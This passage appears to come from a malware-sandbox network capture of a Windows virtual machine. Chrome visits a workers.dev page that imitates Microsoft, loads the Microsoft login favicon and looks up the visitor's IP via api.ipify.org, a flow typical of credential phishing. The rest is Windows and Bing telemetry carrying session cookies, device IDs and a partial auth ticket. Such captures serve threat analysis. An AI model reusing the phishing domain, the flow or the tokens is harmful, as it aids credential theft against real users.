2024-04-23 23:33:57 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-23 23:33:57 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 72 7a 75 78 53 4a 6b 59 62 6b 57 33 6c 6c 5a 42 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 65 37 33 36 36 66 61 33 64 64 32 34 63 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 31 31 76 33 4e 6c 6b 4f 41 79 69 6b 6a 36 67 45 64 69 54 79 45 79 68 67 71 2f 55 42 56 61 32 43 6c 49 36 70 77 42 48 54 4c 55 41 6f 49 58 4f 34 68 71 6a 4a 68 79 46 56 73 53 53 61 53 72 64 73 6e 73 72 4b 5a 41 38 4c 2b 6a 49 72 33 66 64 35 59 38 42 41 58 4f 2b 7a 4b 35 6c 4e 64 6b 6d 42 35 43 30 62 2f 5a 59 72 73 55 44 54 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: rzuxSJkYbkW3llZB.2Context: 14e7366fa3dd24cc<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAX11v3NlkOAyikj6gEdiTyEyhgq/UBVa2ClI6pwBHTLUAoIXO4hqjJhyFVsSSaSrdsnsrKZA8L+jIr3fd5Y8BAXO+zK5lNdkmB5C0b/ZYrsUDT
2024-04-23 23:33:57 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 72 7a 75 78 53 4a 6b 59 62 6b 57 33 6c 6c 5a 42 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 65 37 33 36 36 66 61 33 64 64 32 34 63 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: rzuxSJkYbkW3llZB.3Context: 14e7366fa3dd24cc<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-23 23:33:57 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-23 23:33:57 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 48 72 32 4d 55 4b 70 41 61 30 61 46 6f 2b 4c 74 58 4e 39 2b 45 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Hr2MUKpAa0aFo+LtXN9+Eg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49731	13.107.213.69	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:33:57 UTC	657	OUT	GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://wmicrosouab-4ba8.udydzj.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 23:33:58 UTC	743	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 23:33:57 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Fri, 02 Nov 2018 20:25:25 GMT ETag: 0x8D6410152A9D7E1 x-ms-request-id: 8f46436c-201e-001c-1dd6-95a1a5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240423T233357Z-168bb8d798blg7kwxx8chnnwps00000005n0000000019hye x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-23 23:33:58 UTC	15641	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-04-23 23:33:58 UTC	1533	IN	Data Raw: 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49735	104.26.13.205	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:33:57 UTC	636	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://wmicrosouab-4ba8.udydzj.workers.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://wmicrosouab-4ba8.udydzj.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 23:33:58 UTC	249	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 23:33:57 GMT Content-Type: application/json Content-Length: 22 Connection: close Access-Control-Allow-Origin: * Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8791a95cae14313d-LAX
2024-04-23 23:33:58 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 22 7d Data Ascii: {"ip":"154.16.105.36"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49739	104.26.13.205	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:33:58 UTC	349	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 23:33:59 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 23:33:59 GMT Content-Type: application/json Content-Length: 22 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8791a964b9af1028-LAX
2024-04-23 23:33:59 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 22 7d Data Ascii: {"ip":"154.16.105.36"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49737	96.16.68.112	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:33:58 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-23 23:33:59 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (sac/2518) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Cache-Control: public, max-age=26989 Date: Tue, 23 Apr 2024 23:33:59 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49738	13.107.246.69	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:33:59 UTC	402	OUT	GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 23:33:59 UTC	763	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 23:33:59 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Fri, 02 Nov 2018 20:25:25 GMT ETag: 0x8D6410152A9D7E1 x-ms-request-id: 8f46436c-201e-001c-1dd6-95a1a5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240423T233359Z-168bb8d798b8tmp8e5xfx6y0r400000007ag000000016806 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-23 23:33:59 UTC	15621	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-04-23 23:33:59 UTC	1553	IN	Data Raw: 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""33333

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49742	96.16.68.112	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:33:59 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-23 23:33:59 UTC	530	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0Fz4RYwAAAACZW8dCTzveR7lI76J6Z2l5U0pDRURHRTA1MTgAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=26933 Date: Tue, 23 Apr 2024 23:33:59 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-23 23:33:59 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49745	20.7.1.246	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:34:05 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 63 34 49 55 69 65 4e 77 6a 6b 69 65 61 6c 6e 33 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 32 34 31 31 30 64 34 35 32 39 65 63 30 30 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: c4IUieNwjkiealn3.1Context: 324110d4529ec005
2024-04-23 23:34:05 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-23 23:34:05 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 63 34 49 55 69 65 4e 77 6a 6b 69 65 61 6c 6e 33 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 32 34 31 31 30 64 34 35 32 39 65 63 30 30 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 31 31 76 33 4e 6c 6b 4f 41 79 69 6b 6a 36 67 45 64 69 54 79 45 79 68 67 71 2f 55 42 56 61 32 43 6c 49 36 70 77 42 48 54 4c 55 41 6f 49 58 4f 34 68 71 6a 4a 68 79 46 56 73 53 53 61 53 72 64 73 6e 73 72 4b 5a 41 38 4c 2b 6a 49 72 33 66 64 35 59 38 42 41 58 4f 2b 7a 4b 35 6c 4e 64 6b 6d 42 35 43 30 62 2f 5a 59 72 73 55 44 54 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: c4IUieNwjkiealn3.2Context: 324110d4529ec005<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAX11v3NlkOAyikj6gEdiTyEyhgq/UBVa2ClI6pwBHTLUAoIXO4hqjJhyFVsSSaSrdsnsrKZA8L+jIr3fd5Y8BAXO+zK5lNdkmB5C0b/ZYrsUDT
2024-04-23 23:34:05 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 63 34 49 55 69 65 4e 77 6a 6b 69 65 61 6c 6e 33 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 32 34 31 31 30 64 34 35 32 39 65 63 30 30 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: c4IUieNwjkiealn3.3Context: 324110d4529ec005<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-23 23:34:05 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-23 23:34:05 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 5a 31 44 4e 5a 74 55 34 34 45 2b 4a 52 77 4b 42 71 66 45 42 6f 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Z1DNZtU44E+JRwKBqfEBoQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49748	173.222.162.64	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:34:09 UTC	2256	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900C4F3 X-BM-CBT: 1696488253 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: 1D6F504B5A5A465DBDB84F31C63A581D X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900C4F3 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshldspcl40,msbdsborgv2co,msbwdsbi920cf,optfsth3,premsbdsbchtupcf,wsbfixcachec,wsbqfasmsall_c,wsbqfminiserp_c,wsbref-c X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 516 Connection: Keep-Alive Cache-Control: no-cache Cookie: SRCHUID=V=2&GUID=CE2BE0509FF742BD822F50D98AD10391&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231005; SRCHHPGUSR=SRCHLANG=en&HV=1696488191&IPMH=5767d621&IPMID=1696488252989&LUT=1696487541024; CortanaAppUID=2020E25DAB158E420BA06F1C8DEF7959; MUID=81C61E09498D41CC97CDBBA354824ED1; _SS=SID=1D9FAF807E686D422B86BC217FC66C71&CPID=1696488253968&AC=1&CPH=071f2185; _EDGE_S=SID=1D9FAF807E686D422B86BC217FC66C71; MUIDB=81C61E09498D41CC97CDBBA354824ED1
2024-04-23 23:34:09 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-04-23 23:34:09 UTC	515	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 38 31 43 36 31 45 30 39 34 39 38 44 34 31 43 43 39 37 43 44 42 42 41 33 35 34 38 32 34 45 44 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 33 35 31 41 41 38 32 41 45 39 30 43 34 36 36 39 39 46 35 42 31 46 45 33 34 32 42 45 37 45 31 30 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>81C61E09498D41CC97CDBBA354824ED1</CID><Events><E><T>Event.ClientInst</T><IG>351AA82AE90C46699F5B1FE342BE7E10</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-04-23 23:34:10 UTC	478	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 1B85C26FF1164EDBA4837B35AEF85BF9 Ref B: LAX311000113045 Ref C: 2024-04-23T23:34:10Z Date: Tue, 23 Apr 2024 23:34:10 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.40a6dc17.1713915250.d14ed6

